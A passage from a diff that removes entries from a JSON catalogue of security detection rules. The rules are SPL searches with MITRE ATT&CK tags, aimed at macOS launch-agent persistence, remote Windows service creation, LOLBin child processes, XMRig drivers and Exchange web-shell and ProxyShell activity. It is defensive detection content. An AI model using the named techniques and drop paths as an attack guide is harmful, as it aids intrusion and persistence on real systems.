"endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.001", - "mitre_attack_technique": "Launch Agent", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious PlistBuddy Usage via OSquery", - "description": "The following analytic detects the use of the PlistBuddy utility on macOS to create or modify property list (.plist) files. It leverages OSQuery to monitor process events, specifically looking for commands that interact with LaunchAgents and set properties like RunAtLoad. This activity is significant because PlistBuddy can be used to establish persistence mechanisms, as seen in malware like Silver Sparrow. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, and potentially escalate privileges on the compromised system.", - "search": "`osquery_process` \"columns.cmdline\"=\"*LaunchAgents*\" OR \"columns.cmdline\"=\"*RunAtLoad*\" OR \"columns.cmdline\"=\"*true*\" | `suspicious_plistbuddy_usage_via_osquery_filter`", - "tags": { - "analytic_story": [ - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.001", - "mitre_attack_technique": "Launch Agent", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious Process File Path", - "description": "The following analytic identifies processes running from file paths not typically associated with legitimate software. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process paths within the Endpoint data model. This activity is significant because adversaries often use unconventional file paths to execute malicious code without requiring administrative privileges. If confirmed malicious, this behavior could indicate an attempt to bypass security controls, leading to unauthorized software execution, potential system compromise, and further malicious activities within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_path = \"*\\\\windows\\\\fonts\\\\*\" OR Processes.process_path = \"*\\\\windows\\\\temp\\\\*\" OR Processes.process_path = \"*\\\\users\\\\public\\\\*\" OR Processes.process_path = \"*\\\\windows\\\\debug\\\\*\" OR Processes.process_path = \"*\\\\Users\\\\Administrator\\\\Music\\\\*\" OR Processes.process_path = \"*\\\\Windows\\\\servicing\\\\*\" OR Processes.process_path = \"*\\\\Users\\\\Default\\\\*\" OR Processes.process_path = \"*Recycle.bin*\" OR Processes.process_path = \"*\\\\Windows\\\\Media\\\\*\" OR Processes.process_path = \"\\\\Windows\\\\repair\\\\*\" OR Processes.process_path = \"*\\\\temp\\\\*\" OR Processes.process_path = \"*\\\\PerfLogs\\\\*\" by Processes.parent_process_name Processes.parent_process Processes.process_path Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_file_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "AsyncRAT", - "Azorult", - "BlackByte Ransomware", - "Brute Ratel C4", - "CISA AA23-347A", - "Chaos Ransomware", - "DarkCrystal RAT", - "DarkGate Malware", - "Data Destruction", - "Double Zero Destructor", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "IcedID", - "Industroyer2", - "LockBit Ransomware", - "Phemedrone Stealer", - "PlugX", - "Prestige Ransomware", - "Qakbot", - "RedLine Stealer", - "Remcos", - "Rhysida Ransomware", - "Swift Slicer", - "Trickbot", - "Volt Typhoon", - "Warzone RAT", - "WhisperGate", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_path", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious process $process_name$ running from a suspicious process path- $process_path$ on host- $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Remote Create Service", - "description": "The following analytic identifies the creation of a new service on a remote endpoint using sc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, specifically monitoring for EventCode 7045, which indicates a new service creation. This activity is significant as it may indicate lateral movement or remote code execution attempts by an attacker. If confirmed malicious, this could allow the attacker to establish persistence, escalate privileges, or execute arbitrary code on the remote system, potentially leading to further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process IN (\"*create*\") Processes.process=\"*\\\\\\\\*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_create_service_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a remote service.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Create Kernel Mode Driver", - "description": "The following analytic identifies the creation of a new kernel mode driver using the sc.exe command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. The activity is significant because adding a kernel driver is uncommon in regular operations and can indicate an attempt to gain low-level access to the system. If confirmed malicious, this could allow an attacker to execute code with high privileges, potentially compromising the entire system and evading traditional security measures.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*kernel*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_kernel_mode_driver_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Service control, $process_name$, loaded a new kernel mode driver on $dest$ by $user$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Service Create RemComSvc", - "description": "The following analytic detects the creation of the RemComSvc service on a Windows endpoint, typically indicating lateral movement using RemCom.exe. It leverages Windows EventCode 7045 from the System event log, specifically looking for the \"RemCom Service\" name. This activity is significant as it often signifies unauthorized lateral movement within the network, which is a common tactic used by attackers to spread malware or gain further access. If confirmed malicious, this could lead to unauthorized access to sensitive systems, data exfiltration, or further compromise of the network.", - "search": "`wineventlog_system` EventCode=7045 ServiceName=\"RemCom Service\" | stats count min(_time) as firstTime max(_time) as lastTime by dest ImagePath ServiceName ServiceType | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_remcomsvc_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A new service was created related to RemCom on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Service Created Within Public Path", - "description": "The following analytic detects the creation of a Windows Service with its binary path located in public directories using Windows Event ID 7045. This detection leverages logs from the `wineventlog_system` data source, focusing on the `ImagePath` field to identify services installed outside standard system directories. This activity is significant as it may indicate the installation of a malicious service, often used by adversaries for lateral movement or remote code execution. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, or further compromise the system.", - "search": "`wineventlog_system` EventCode=7045 ImagePath = \"*.exe\" NOT (ImagePath IN (\"*:\\\\Windows\\\\*\", \"*:\\\\Program File*\", \"*:\\\\Programdata\\\\*\", \"*%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName ServiceType StartType Computer UserID | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_created_within_public_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ServiceName", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service $ServiceName$ with a public path was created on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Creation on Remote Endpoint", - "description": "The following analytic identifies the creation of a Windows Service on a remote endpoint using `sc.exe`. It detects this activity by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments that include remote paths and service creation commands. This behavior is significant because adversaries often exploit the Service Control Manager for lateral movement and remote code execution. If confirmed malicious, this activity could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sc.exe OR Processes.original_file_name=sc.exe) (Processes.process=*\\\\\\\\* AND Processes.process=*create* AND Processes.process=*binpath*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_service_creation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service was created on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Initiation on Remote Endpoint", - "description": "The following analytic detects the execution of `sc.exe` with command-line arguments used to start a Windows Service on a remote endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because adversaries may exploit the Service Control Manager for lateral movement and remote code execution. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sc.exe OR Processes.original_file_name=sc.exe) (Processes.process=*\\\\\\\\* AND Processes.process=*start*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_service_initiation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service was started on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Wscript Or Cscript Suspicious Child Process", - "description": "The following analytic identifies suspicious child processes spawned by WScript or CScript. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific parent and child process names. This activity is significant as adversaries often use WScript or CScript to execute Living Off The Land Binaries (LOLBINs) or other scripts like PowerShell for defense evasion. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"cscript.exe\", \"wscript.exe\") Processes.process_name IN (\"regsvr32.exe\", \"rundll32.exe\",\"winhlp32.exe\",\"certutil.exe\",\"msbuild.exe\",\"cmd.exe\",\"powershell*\",\"wmic.exe\",\"mshta.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wscript_or_cscript_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "FIN7", - "NjRAT", - "Remcos", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "wscript or cscript parent process spawned $process_name$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "XMRIG Driver Loaded", - "description": "The following analytic detects the installation of the XMRIG coinminer driver on a system. It identifies the loading of the `WinRing0x64.sys` driver, commonly associated with XMRIG, by analyzing Sysmon EventCode 6 logs for specific signatures and image loads. This activity is significant because XMRIG is an open-source CPU miner frequently exploited by adversaries to mine cryptocurrency illicitly. If confirmed malicious, this activity could lead to unauthorized resource consumption, degraded system performance, and potential financial loss due to unauthorized cryptocurrency mining.", - "search": "`sysmon` EventCode=6 Signature=\"Noriyuki MIYAZAKI\" OR ImageLoaded= \"*\\\\WinRing0x64.sys\" | stats min(_time) as firstTime max(_time) as lastTime count by dest ImageLoaded Hashes IMPHASH Signature Signed | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `xmrig_driver_loaded_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A driver $ImageLoaded$ related to xmrig crytominer loaded in host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -134725,4308 +119213,7 @@ "Event ID": "4624", "Event Name": "Authentication logs" } - ], - { - "name": "Detect Exchange Web Shell", - "description": "The following analytic identifies the creation of suspicious .aspx files in known drop locations for Exchange exploitation, specifically targeting paths associated with HAFNIUM group and vulnerabilities like ProxyShell and ProxyNotShell. It leverages data from the Endpoint datamodel, focusing on process and filesystem events. This activity is significant as it may indicate a web shell deployment, a common method for persistent access and remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary commands, and potentially escalate privileges within the Exchange environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name IN( \"*.aspx\", \"*.ashx\") by _time span=1h Filesystem.user Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest user file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest user file_create_time, file_name, file_path, process_name | `detect_exchange_web_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation previously performed by HAFNIUM. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exchange PowerShell Abuse via SSRF", - "description": "The following analytic detects suspicious behavior indicative of ProxyShell exploitation against on-premise Microsoft Exchange servers. It identifies HTTP POST requests to `autodiscover.json` containing `PowerShell` in the URI, leveraging server-side request forgery (SSRF) to access backend PowerShell. This detection uses Exchange server logs ingested into Splunk. Monitoring this activity is crucial as it may indicate an attacker attempting to execute commands or scripts on the Exchange server. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or persistent control over the Exchange environment.", - "search": "`exchange` c_uri=\"*//autodiscover*\" cs_uri_query=\"*PowerShell*\" cs_method=\"POST\" | stats count min(_time) as firstTime max(_time) as lastTime by dest, cs_uri_query, cs_method, c_uri | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exchange_powershell_abuse_via_ssrf_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to ProxyShell has been identified on $dest$. Review events and take action accordingly.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Java Writing JSP File", - "description": "The following analytic detects the Java process writing a .jsp file to disk, which may indicate a web shell being deployed. It leverages data from 